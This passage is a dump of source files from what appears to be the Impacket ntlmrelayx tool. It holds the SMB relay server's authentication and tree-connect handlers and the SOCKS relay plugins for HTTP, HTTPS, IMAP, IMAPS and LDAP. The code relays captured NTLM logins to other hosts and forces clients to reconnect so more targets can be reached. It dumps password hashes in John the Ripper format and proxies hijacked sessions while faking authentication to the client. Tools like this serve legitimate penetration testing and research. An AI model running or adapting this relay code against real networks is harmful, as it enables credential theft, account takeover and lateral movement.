connData['SMBClient']\n            _, errorCode = client.sendStandardSecurityAuth(sessionSetupData)\n\n            if errorCode != STATUS_SUCCESS:\n                # Let's return what the target returned, hope the client connects back again\n                packet = smb.NewSMBPacket()\n                packet['Flags1']  = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS\n                packet['Flags2']  = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY\n                packet['Command'] = recvPacket['Command']\n                packet['Pid']     = recvPacket['Pid']\n                packet['Tid']     = recvPacket['Tid']\n                packet['Mid']     = recvPacket['Mid']\n                packet['Uid']     = recvPacket['Uid']\n                packet['Data']    = b'\\x00\\x00\\x00'\n                packet['ErrorCode']   = errorCode >> 16\n                packet['ErrorClass']  = errorCode & 0xff\n\n                #Log this target as processed for this client\n                self.targetprocessor.registerTarget(self.target, False, self.authUser)\n\n                # Finish client's connection\n                #client.killConnection()\n\n                return None, [packet], errorCode\n            else:\n                # We have a session, create a thread and do whatever we want\n                client.setClientId()\n                self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper()\n                LOG.info(\"(SMB): Authenticating connection from %s@%s against %s://%s SUCCEED [%s]\" % (self.authUser, connData['ClientIP'], self.target.scheme, self.target.netloc, client.client_id))\n\n                # Log this target as processed for this client\n                self.targetprocessor.registerTarget(self.target, True, self.authUser)\n\n                ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'],\n                                                    sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])\n                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data\n\n                if self.server.getDumpHashes():\n                    LOG.info(\"(SMB): %s\" % ntlm_hash_data['hash_string'])\n\n                if self.server.getJTRdumpPath() != '':\n                    writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],\n                                          self.server.getJTRdumpPath())\n\n                # Done with the relay for now.\n                connData['Authenticated'] = True\n                if not self.config.disableMulti:\n                    del(connData['relayToHost'])\n                self.do_attack(client)\n                # Now continue with the server\n            #############################################################\n\n        respData['NativeOS']     = smbServer.getServerOS()\n        respData['NativeLanMan'] = smbServer.getServerOS()\n        respSMBCommand['Parameters'] = respParameters\n        respSMBCommand['Data']       = respData\n\n\n        smbServer.setConnectionData(connId, connData)\n\n        return [respSMBCommand], None, errorCode\n\n    def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId)\n\n        authenticateMessage = connData['AUTHENTICATE_MESSAGE']\n        self.authUser = authenticateMessage.getUserString()\n\n        if self.config.disableMulti:\n            return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket)\n        # Uncommenting this will stop at the first connection relayed and won't relaying until all targets\n        # are processed. There might be a use case for this\n        #if 'relayToHost' in connData:\n        #    # Connection already relayed, let's just answer the request (that will return object not found)\n        #    return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket)\n\n        try:\n            if self.config.mode.upper () == 'REFLECTION':\n                self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])\n\n            self.target = self.targetprocessor.getTarget(identity = self.authUser)\n            if self.target is None:\n                if self.config.keepRelaying:\n                    self.config.target.reloadTargets(full_reload=True)\n                    self.target = self.targetprocessor.getTarget(multiRelay=False)\n                else:\n                    # No more targets to process, just let the victim to fail later\n                    LOG.info('(SMB): Connection from %s@%s controlled, but there are no more targets left!' % (self.authUser, connData['ClientIP']))\n                    return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket)\n\n            LOG.info('(SMB): Connection from %s@%s controlled, attacking target %s://%s' % (self.authUser, connData['ClientIP'], self.target.scheme, self.target.netloc))\n\n            if self.config.mode.upper() == 'REFLECTION':\n                # Force standard security when doing reflection\n                LOG.debug(\"(SMB): Downgrading to standard security\")\n                extSec = False\n                recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)\n            else:\n                extSec = True\n            # Init the correct client for our target\n            client = self.init_client(extSec)\n        except Exception as e:\n            LOG.error(\"(SMB): Connection against target %s://%s FAILED: %s\" % (self.target.scheme, self.target.netloc, str(e)))\n            self.targetprocessor.registerTarget(self.target, False, self.authUser)\n        else:\n            connData['relayToHost'] = True\n            connData['Authenticated'] = False\n            del (connData['NEGOTIATE_MESSAGE'])\n            del (connData['CHALLENGE_MESSAGE'])\n            del (connData['AUTHENTICATE_MESSAGE'])\n            connData['SMBClient'] = client\n            connData['EncryptionKey'] = client.getStandardSecurityChallenge()\n            smbServer.setConnectionData(connId, connData)\n\n        resp = smb.NewSMBPacket()\n        resp['Flags1'] = smb.SMB.FLAGS1_REPLY\n        resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \\\n                         recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE\n\n        resp['Tid'] = recvPacket['Tid']\n        resp['Mid'] = recvPacket['Mid']\n        resp['Pid'] = connData['Pid']\n\n        respSMBCommand        = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)\n        respParameters        = smb.SMBTreeConnectAndXResponse_Parameters()\n        respData              = smb.SMBTreeConnectAndXResponse_Data()\n\n        treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])\n\n        if treeConnectAndXParameters['Flags'] & 0x8:\n            respParameters        = smb.SMBTreeConnectAndXExtendedResponse_Parameters()\n\n        treeConnectAndXData                    = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )\n        treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength']\n        treeConnectAndXData.fromString(SMBCommand['Data'])\n\n        ## Process here the request, does the share exist?\n        UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])\n\n        # Is this a UNC?\n        if ntpath.ismount(UNCOrShare):\n            path = UNCOrShare.split('\\\\')[3]\n        else:\n            path = ntpath.basename(UNCOrShare)\n\n        # This is the key, force the client to reconnect.\n        # It will loop until all targets are processed for this user\n        errorCode = STATUS_NETWORK_SESSION_EXPIRED\n        resp['ErrorCode'] = errorCode >> 16\n        resp['_reserved'] = 0o3\n        resp['ErrorClass'] = errorCode & 0xff\n\n        if path == 'IPC$':\n            respData['Service']               = 'IPC'\n        else:\n            respData['Service']               = path\n        respData['PadLen']                = 0\n        respData['NativeFileSystem']      = encodeSMBString(recvPacket['Flags2'], 'NTFS' )\n\n        respSMBCommand['Parameters']             = respParameters\n        respSMBCommand['Data']                   = respData\n\n        resp['Uid'] = connData['Uid']\n        resp.addCommand(respSMBCommand)\n        smbServer.setConnectionData(connId, connData)\n\n        return None, [resp], errorCode\n    ################################################################################\n\n    #Initialize the correct client for the relay target\n    def init_client(self,extSec):\n        if self.target.scheme.upper() in self.config.protocolClients:\n            client = self.config.protocolClients[self.target.scheme.upper()](self.config, self.target, extendedSecurity = extSec)\n            if not client.initConnection():\n                raise Exception('Could not initialize connection')\n        else:\n            raise Exception('Protocol Client for %s not found!' % self.target.scheme)\n\n\n        return client\n\n    def do_ntlm_negotiate(self,client,token):\n        #Since the clients all support the same operations there is no target protocol specific code needed for now\n        return client.sendNegotiate(token)\n\n    def do_ntlm_auth(self,client,SPNEGO_token,challenge):\n        #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB\n        clientResponse, errorCode = client.sendAuth(SPNEGO_token, challenge)\n\n        return clientResponse, errorCode\n\n    def do_attack(self,client):\n        #Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties\n        # Check if SOCKS is enabled and if we support the target scheme\n        if self.config.runSocks and self.target.scheme.upper() in self.config.socksServer.supportedSchemes:\n            if self.config.runSocks is True:\n                # Pass all the data to the socksplugins proxy\n                activeConnections.put((self.target.hostname, client.targetPort, self.target.scheme.upper(),\n                                       self.authUser, client, client.sessionData))\n                return\n\n        # If SOCKS is not enabled, or not supported for this scheme, fall back to \"classic\" attacks\n        if self.target.scheme.upper() in self.config.attacks:\n            # We have an attack.. go for it\n            clientThread = self.config.attacks[self.target.scheme.upper()](self.config, client.session, self.authUser, self.target, client)\n            clientThread.start()\n        else:\n            LOG.error('(SMB): No attack configured for %s' % self.target.scheme.upper())\n\n    def _start(self):\n        self.server.daemon_threads=True\n        self.server.serve_forever()\n        LOG.info('Shutting down SMB Server')\n        self.server.server_close()\n\n    def run(self):\n        LOG.info(\"Setting up SMB Server on port %s\" % self.server.server_address[1])\n        self._start()\n\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport os\nimport sys\nfrom importlib.resources import files\n\nSOCKS_RELAYS = set()\n\nsocksplugins_path = files('impacket.examples.ntlmrelayx.servers').joinpath('socksplugins')\nfor file in [f.name for f in socksplugins_path.iterdir() if f.is_file()]:\n    if file.find('__') >= 0 or file.endswith('.py') is False:\n        continue\n    # This seems to be None in some case (py3 only)\n    # __spec__ is py3 only though, but I haven't seen this being None on py2\n    # so it should cover all cases.\n    try:\n        package = __spec__.name  # Python 3\n    except NameError:\n        package = __package__    # Python 2\n    __import__(package + '.' + os.path.splitext(file)[0])\n    module = sys.modules[package + '.' + os.path.splitext(file)[0]]\n    pluginClass = getattr(module, getattr(module, 'PLUGIN_CLASS'))\n    SOCKS_RELAYS.add(pluginClass)\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/socksplugins/http.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Socks Proxy for the HTTP Protocol\n#\n#  A simple SOCKS server that proxies a connection to relayed HTTP connections\n#\n# Author:\n#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)\n#\nimport base64\n\nfrom impacket import LOG\nfrom impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay\n\n# Besides using this base class you need to define one global variable when\n# writing a plugin:\nPLUGIN_CLASS = \"HTTPSocksRelay\"\nEOL = b'\\r\\n'\n\nclass HTTPSocksRelay(SocksRelay):\n    PLUGIN_NAME = 'HTTP Socks Plugin'\n    PLUGIN_SCHEME = 'HTTP'\n\n    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):\n        SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)\n        self.packetSize = 8192\n\n    @staticmethod\n    def getProtocolPort():\n        return 80\n\n    def initConnection(self):\n        pass\n\n    def skipAuthentication(self):\n        # See if the user provided authentication\n        data = self.socksSocket.recv(self.packetSize)\n        # Get headers from data\n        headerDict = self.getHeaders(data)\n        try:\n            creds = headerDict['authorization']\n            if 'Basic' not in creds:\n                raise KeyError()\n            basicAuth = base64.b64decode(creds[6:]).decode(\"ascii\")\n            self.username = basicAuth.split(':')[0].upper()\n            if '@' in self.username:\n                # Workaround for clients which specify users with the full FQDN\n                # such as ruler\n                user, domain = self.username.split('@', 1)\n                # Currently we only use the first part of the FQDN\n                # this might break stuff on tools that do use an FQDN\n                # where the domain NETBIOS name is not equal to the part\n                # before the first .\n                self.username = '%s/%s' % (domain.split('.')[0], user)\n\n            # Check if we have a connection for the user\n            if self.username in self.activeRelays:\n                # Check the connection is not inUse\n                if self.activeRelays[self.username]['inUse'] is True:\n                    LOG.error('HTTP: Connection for %s@%s(%s) is being used at the moment!' % (\n                        self.username, self.targetHost, self.targetPort))\n                    return False\n                else:\n                    LOG.info('HTTP: Proxying client session for %s@%s(%s)' % (\n                        self.username, self.targetHost, self.targetPort))\n                    self.session = self.activeRelays[self.username]['protocolClient'].session\n            else:\n                LOG.error('HTTP: No session for %s@%s(%s) available' % (\n                    self.username, self.targetHost, self.targetPort))\n                return False\n\n        except KeyError:\n            # User didn't provide authentication yet, prompt for it\n            LOG.debug('No authentication provided, prompting for basic authentication')\n            reply = [b'HTTP/1.1 401 Unauthorized',b'WWW-Authenticate: Basic realm=\"ntlmrelayx - provide a DOMAIN/username\"',b'Connection: close',b'',b'']\n            self.socksSocket.send(EOL.join(reply))\n            return False\n\n        # When we are here, we have a session\n        # Point our socket to the sock attribute of HTTPConnection\n        # (contained in the session), which contains the socket\n        self.relaySocket = self.session.sock\n        # Send the initial request to the server\n        tosend = self.prepareRequest(data)\n        self.relaySocket.send(tosend)\n        # Send the response back to the client\n        self.transferResponse()\n        return True\n\n    def getHeaders(self, data):\n        # Get the headers from the request, ignore first \"header\"\n        # since this is the HTTP method, identifier, version\n        headerSize = data.find(EOL+EOL)\n        headers = data[:headerSize].split(EOL)[1:]\n        headers = [header.decode(\"ascii\") for header in headers]\n        headerDict = {hdrKey.split(':')[0].lower():hdrKey.split(':', 1)[1][1:] for hdrKey in headers}\n        return headerDict\n\n    def transferResponse(self):\n        data = self.relaySocket.recv(self.packetSize)\n        headerSize = data.find(EOL+EOL)\n        headers = self.getHeaders(data)\n        try:\n            bodySize = int(headers['content-length'])\n            readSize = len(data)\n            # Make sure we send the entire response, but don't keep it in memory\n            self.socksSocket.send(data)\n            while readSize < bodySize + headerSize + 4:\n                data = self.relaySocket.recv(self.packetSize)\n                readSize += len(data)\n                self.socksSocket.send(data)\n        except KeyError:\n            try:\n                if headers['transfer-encoding'] == 'chunked':\n                    # Chunked transfer-encoding, bah\n                    LOG.debug('Server sent chunked encoding - transferring')\n                    self.transferChunked(data, headers)\n                else:\n                    # No body in the response, send as-is\n                    self.socksSocket.send(data)\n            except KeyError:\n                # No body in the response, send as-is\n                self.socksSocket.send(data)\n\n    def transferChunked(self, data, headers):\n        headerSize = data.find(EOL+EOL)\n\n        self.socksSocket.send(data[:headerSize + 4])\n\n        body = data[headerSize + 4:]\n        # Size of the chunk\n        datasize = int(body[:body.find(EOL)], 16)\n        while datasize > 0:\n            # Size of the total body\n            bodySize = body.find(EOL) + 2 + datasize + 2\n            readSize = len(body)\n            # Make sure we send the entire response, but don't keep it in memory\n            self.socksSocket.send(body)\n            while readSize < bodySize:\n                maxReadSize = bodySize - readSize\n                body = self.relaySocket.recv(min(self.packetSize, maxReadSize))\n                readSize += len(body)\n                self.socksSocket.send(body)\n            body = self.relaySocket.recv(self.packetSize)\n            datasize = int(body[:body.find(EOL)], 16)\n        LOG.debug('Last chunk received - exiting chunked transfer')\n        self.socksSocket.send(body)\n\n    def prepareRequest(self, data):\n        # Parse the HTTP data, removing headers that break stuff\n        response = []\n        for part in data.split(EOL):\n            # This means end of headers, stop parsing here\n            if part == '':\n                break\n            # Remove the Basic authentication header\n            if b'authorization' in part.lower():\n                continue\n            # Don't close the connection\n            if b'connection: close' in part.lower():\n                response.append('Connection: Keep-Alive')\n                continue\n            # If we are here it means we want to keep the header\n            response.append(part)\n        # Append the body\n        response.append(b'')\n        response.append(data.split(EOL+EOL)[1])\n        senddata = EOL.join(response)\n\n        # Check if the body is larger than 1 packet\n        headerSize = data.find(EOL+EOL)\n        headers = self.getHeaders(data)\n        try:\n            bodySize = int(headers['content-length'])\n            readSize = len(data)\n            while readSize < bodySize + headerSize + 4:\n                data = self.socksSocket.recv(self.packetSize)\n                readSize += len(data)\n                senddata += data\n        except KeyError:\n            # No body, could be a simple GET or a POST without body\n            # no need to check if we already have the full packet\n            pass\n        return senddata\n\n\n    def tunnelConnection(self):\n        while True:\n            data = self.socksSocket.recv(self.packetSize)\n            # If this returns with an empty string, it means the socket was closed\n            if data == '':\n                return\n            # Pass the request to the server\n            tosend = self.prepareRequest(data)\n            self.relaySocket.send(tosend)\n            # Send the response back to the client\n            self.transferResponse()\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/socksplugins/https.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Socks Proxy for the HTTPS Protocol\n#\n#   A simple SOCKS server that proxies a connection to relayed HTTPS connections\n#\n# Author:\n#  Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)\n#\nfrom impacket import LOG\nfrom impacket.examples.ntlmrelayx.servers.socksplugins.http import HTTPSocksRelay\nfrom impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin\nfrom OpenSSL import SSL\n\n# Besides using this base class you need to define one global variable when\n# writing a plugin:\nPLUGIN_CLASS = \"HTTPSSocksRelay\"\nEOL = '\\r\\n'\n\nclass HTTPSSocksRelay(SSLServerMixin, HTTPSocksRelay):\n    PLUGIN_NAME = 'HTTPS Socks Plugin'\n    PLUGIN_SCHEME = 'HTTPS'\n\n    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):\n        HTTPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)\n\n    @staticmethod\n    def getProtocolPort():\n        return 443\n\n    def skipAuthentication(self):\n        LOG.debug('Wrapping client connection in TLS/SSL')\n        self.wrapClientConnection()\n        if not HTTPSocksRelay.skipAuthentication(self):\n            # Shut down TLS connection\n            self.socksSocket.shutdown()\n            return False\n        return True\n\n    def tunnelConnection(self):\n        while True:\n            try:\n                data = self.socksSocket.recv(self.packetSize)\n            except SSL.ZeroReturnError:\n                # The SSL connection was closed, return\n                return\n            # Pass the request to the server\n            tosend = self.prepareRequest(data)\n            self.relaySocket.send(tosend)\n            # Send the response back to the client\n            self.transferResponse()\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/socksplugins/imap.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Socks Proxy for the IMAP Protocol\n#\n#   A simple SOCKS server that proxies a connection to relayed IMAP connections\n#\n# Author:\n#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)\n#\nimport base64\n\nfrom impacket import LOG\nfrom impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay\n\n# Besides using this base class you need to define one global variable when\n# writing a plugin:\nPLUGIN_CLASS = \"IMAPSocksRelay\"\nEOL = '\\r\\n'\n\nclass IMAPSocksRelay(SocksRelay):\n    PLUGIN_NAME = 'IMAP Socks Plugin'\n    PLUGIN_SCHEME = 'IMAP'\n\n    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):\n        SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)\n        self.packetSize = 8192\n        self.idleState = False\n        self.shouldClose = True\n\n    @staticmethod\n    def getProtocolPort():\n        return 143\n\n    def getServerCapabilities(self):\n        for key in list(self.activeRelays.keys()):\n            if key != 'data' and key != 'scheme':\n                if 'protocolClient' in self.activeRelays[key]:\n                    return self.activeRelays[key]['protocolClient'].session.capabilities\n\n    def initConnection(self):\n        pass\n\n    def skipAuthentication(self):\n        self.socksSocket.sendall('* OK The Microsoft Exchange IMAP4 service is ready.'+EOL)\n\n        # Next should be the client requesting CAPABILITIES\n        tag, cmd = self.recvPacketClient()\n        if cmd.upper() == 'CAPABILITY':\n            clientcapabilities = list(self.getServerCapabilities())\n            # Don't offer these AUTH options so the client won't use them\n            blacklist = ['AUTH=GSSAPI', 'AUTH=NTLM', 'LOGINDISABLED']\n            for cap in blacklist:\n                if cap in clientcapabilities:\n                    clientcapabilities.remove(cap)\n\n            # Offer PLAIN auth for specifying the username\n            if 'AUTH=PLAIN' not in clientcapabilities:\n                clientcapabilities.append('AUTH=PLAIN')\n            # Offer LOGIN for specifying the username\n            if 'LOGIN' not in clientcapabilities:\n                clientcapabilities.append('LOGIN')\n\n            LOG.debug('IMAP: Sending mirrored capabilities from server: %s' % ' '.join(clientcapabilities))\n            self.socksSocket.sendall('* CAPABILITY %s%s%s OK CAPABILITY completed.%s' % (' '.join(clientcapabilities), EOL, tag, EOL))\n        else:\n            LOG.error('IMAP: Socks plugin expected CAPABILITY command, but got: %s' % cmd)\n            return False\n        # next\n        tag, cmd = self.recvPacketClient()\n        args = cmd.split(' ')\n        if cmd.upper() == 'AUTHENTICATE PLAIN':\n            # Send continuation command\n            self.socksSocket.sendall('+'+EOL)\n            # Client will now send their AUTH\n            data = self.socksSocket.recv(self.packetSize)\n            # This contains base64(\\x00username\\x00password), decode and split\n            creds = base64.b64decode(data.strip())\n            self.username = creds.split('\\x00')[1].upper()\n        elif args[0].upper() == 'LOGIN':\n            # Simple login\n            self.username = args[1].upper()\n        else:\n            LOG.error('IMAP: Socks plugin expected LOGIN or AUTHENTICATE PLAIN command, but got: %s' % cmd)\n            return False\n\n        # Check if we have a connection for the user\n        if self.username in self.activeRelays:\n            # Check the connection is not inUse\n            if self.activeRelays[self.username]['inUse'] is True:\n                LOG.error('IMAP: Connection for %s@%s(%s) is being used at the moment!' % (\n                    self.username, self.targetHost, self.targetPort))\n                return False\n            else:\n                LOG.info('IMAP: Proxying client session for %s@%s(%s)' % (\n                    self.username, self.targetHost, self.targetPort))\n                self.session = self.activeRelays[self.username]['protocolClient'].session\n        else:\n            LOG.error('IMAP: No session for %s@%s(%s) available' % (\n                self.username, self.targetHost, self.targetPort))\n            return False\n\n        # We arrived here, that means all is OK\n        self.socksSocket.sendall('%s OK %s completed.%s' % (tag, args[0].upper(), EOL))\n        self.relaySocket = self.session.sock\n        self.relaySocketFile = self.session.file\n        return True\n\n    def tunnelConnection(self):\n        keyword = ''\n        tag = ''\n        while True:\n            try:\n                data = self.socksSocket.recv(self.packetSize)\n            except Exception as e:\n                # Socks socket (client) closed connection or something else. Not fatal for killing the existing relay\n                print((keyword, tag))\n                LOG.debug('IMAP: sockSocket recv(): %s' % (str(e)))\n                break\n            # If this returns with an empty string, it means the socket was closed\n            if data == '':\n                break\n            # Set the new keyword, unless it is false, then break out of the function\n            result = self.processTunnelData(keyword, tag, data)\n\n            if result is False:\n                break\n            # If its not false, it's a tuple with the keyword and tag\n            keyword, tag = result\n\n        if tag != '':\n            # Store the tag in the session so we can continue\n            tag = int(tag)\n            if self.idleState is True:\n                self.relaySocket.sendall('DONE%s' % EOL)\n                self.relaySocketFile.readline()\n\n            if self.shouldClose:\n                tag +=1\n                self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL))\n                self.relaySocketFile.readline()\n\n            self.session.tagnum = tag+1\n\n        return\n\n    def processTunnelData(self, keyword, tag, data):\n        # Pass the request to the server, store the tag unless the last command\n        # was a continuation. In the case of the continuation we still check if\n        # there were commands issued after\n        analyze = data.split(EOL)[:-1]\n        if keyword == '+':\n            # We do send the continuation to the server\n            # but we don't analyze it\n            self.relaySocket.sendall(analyze.pop(0)+EOL)\n            keyword = ''\n\n        for line in analyze:\n            info = line.split(' ')\n            tag = info[0]\n            # See if a LOGOUT command was sent, in which case we want to close\n            # the connection to the client but keep the relayed connection alive\n            # also handle APPEND commands\n            try:\n                if info[1].upper() == 'IDLE':\n                    self.idleState = True\n                elif info[1].upper() == 'DONE':\n                    self.idleState = False\n                elif info[1].upper() == 'CLOSE':\n                    self.shouldClose = False\n                elif info[1].upper() == 'LOGOUT':\n                    self.socksSocket.sendall('%s OK LOGOUT completed.%s' % (tag, EOL))\n                    return False\n                elif info[1].upper() == 'APPEND':\n                    LOG.debug('IMAP socks APPEND command detected, forwarding email data')\n                    # APPEND command sent, forward all the data, no further commands here\n                    self.relaySocket.sendall(data)\n                    sent = len(data) - len(line) + len(EOL)\n\n                    # https://tools.ietf.org/html/rfc7888\n                    literal = info[4][1:-1]\n                    if literal[-1] == '+':\n                        literalPlus = True\n                        totalSize = int(literal[:-1])\n                    else:\n                        literalPlus = False\n                        totalSize = int(literal)\n\n                    while sent < totalSize:\n                        data = self.socksSocket.recv(self.packetSize)\n                        self.relaySocket.sendall(data)\n                        sent += len(data)\n                        LOG.debug('Forwarded %d bytes' % sent)\n\n                    if literalPlus:\n                        data = self.socksSocket.recv(self.packetSize)\n                        self.relaySocket.sendall(data)\n\n                    LOG.debug('IMAP socks APPEND command complete')\n                    # break out of the analysis loop\n                    break\n            except IndexError:\n                pass\n            self.relaySocket.sendall(line+EOL)\n\n        # Send the response back to the client, until the command is complete\n        # or the server requests more data\n        while keyword != tag and keyword != '+':\n            try:\n                data = self.relaySocketFile.readline()\n            except Exception as e:\n                # This didn't break the connection to the server, don't make it fatal\n                LOG.debug(\"IMAP relaySocketFile: %s\" % str(e))\n                return False\n            keyword = data.split(' ', 2)[0]\n            try:\n                self.socksSocket.sendall(data)\n            except Exception as e:\n                LOG.debug(\"IMAP socksSocket: %s\" % str(e))\n                return False\n\n        # Return the keyword to indicate processing was OK\n        return (keyword, tag)\n\n\n    def recvPacketClient(self):\n        data = self.socksSocket.recv(self.packetSize)\n        space = data.find(' ')\n        return (data[:space], data[space:].strip())\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Socks Proxy for the IMAPS Protocol\n#\n#   A simple SOCKS server that proxies a connection to relayed IMAPS connections\n#\n# Author:\n#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)\n#\nfrom impacket import LOG\nfrom impacket.examples.ntlmrelayx.servers.socksplugins.imap import IMAPSocksRelay\nfrom impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin\nfrom OpenSSL import SSL\n\n# Besides using this base class you need to define one global variable when\n# writing a plugin:\nPLUGIN_CLASS = \"IMAPSSocksRelay\"\nEOL = '\\r\\n'\n\nclass IMAPSSocksRelay(SSLServerMixin, IMAPSocksRelay):\n    PLUGIN_NAME = 'IMAPS Socks Plugin'\n    PLUGIN_SCHEME = 'IMAPS'\n\n    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):\n        IMAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)\n\n    @staticmethod\n    def getProtocolPort():\n        return 993\n\n    def skipAuthentication(self):\n        LOG.debug('Wrapping IMAP client connection in TLS/SSL')\n        self.wrapClientConnection()\n        try:\n            if not IMAPSocksRelay.skipAuthentication(self):\n                # Shut down TLS connection\n                self.socksSocket.shutdown()\n                return False\n        except Exception as e:\n            LOG.debug('IMAPS: %s' % str(e))\n            return False\n        # Change our outgoing socket to the SSL object of IMAP4_SSL\n        self.relaySocket = self.session.sslobj\n        return True\n\n    def tunnelConnection(self):\n        keyword = ''\n        tag = ''\n        while True:\n            try:\n                data = self.socksSocket.recv(self.packetSize)\n            except SSL.ZeroReturnError:\n                # The SSL connection was closed, return\n                break\n            # Set the new keyword, unless it is false, then break out of the function\n            result = self.processTunnelData(keyword, tag, data)\n            if result is False:\n                break\n            # If its not false, it's a tuple with the keyword and tag\n            keyword, tag = result\n\n        if tag != '':\n            # Store the tag in the session so we can continue\n            tag = int(tag)\n            if self.idleState is True:\n                self.relaySocket.sendall('DONE%s' % EOL)\n                self.relaySocketFile.readline()\n\n            if self.shouldClose:\n                tag += 1\n                self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL))\n                self.relaySocketFile.readline()\n\n            self.session.tagnum = tag + 1\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py",
    "content": "import select\nfrom pyasn1.codec.ber import encoder, decoder\nfrom pyasn1.error import SubstrateUnderrunError\nfrom pyasn1.type import univ\n\nfrom impacket import LOG, ntlm\nfrom impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay\nfrom impacket.ldap.ldap import LDAPSessionError\nfrom impacket.ldap.ldapasn1 import KNOWN_NOTIFICATIONS, LDAPDN, NOTIFICATION_DISCONNECT, BindRequest, BindResponse, SearchRequest, SearchResultEntry, SearchResultDone, LDAPMessage, LDAPString, ResultCode, PartialAttributeList, PartialAttribute, AttributeValue, UnbindRequest, ExtendedRequest\nfrom impacket.ntlm import NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_SEAL\n\nPLUGIN_CLASS = 'LDAPSocksRelay'\n\nclass LDAPSocksRelay(SocksRelay):\n    PLUGIN_NAME = 'LDAP Socks Plugin'\n    PLUGIN_SCHEME = 'LDAP'\n\n    MSG_SIZE = 4096\n\n    def __init__(self, targetHost, targetPort, socksSocket, activeRelays):\n        SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)\n\n    @staticmethod\n    def getProtocolPort():\n        return 389\n\n    def initConnection(self):\n        # No particular action required to initiate the connection\n        pass\n\n    def skipAuthentication(self):\n        # Faking an NTLM authentication with the client\n        while True:\n            messages = self.recv_ldap_msg()\n            if messages is None:\n                LOG.warning('LDAP: Client did not send ldap messages or closed connection')\n                return False\n            LOG.debug(f'LDAP: Received {len(messages)} message(s)')\n\n            for message in messages:\n                msg_component = message['protocolOp'].getComponent()\n                if msg_component.isSameTypeWith(BindRequest):\n                    # BindRequest received\n\n                    if msg_component['authentication'] == univ.OctetString(''):\n                        # First bind message without authentication\n                        # Replying with a request for NTLM authentication\n\n                        LOG.debug('LDAP: Got empty bind request')\n\n                        bindresponse = BindResponse()\n                        bindresponse['resultCode'] = ResultCode('success')\n                        bindresponse['matchedDN'] = LDAPDN('NTLM')\n                        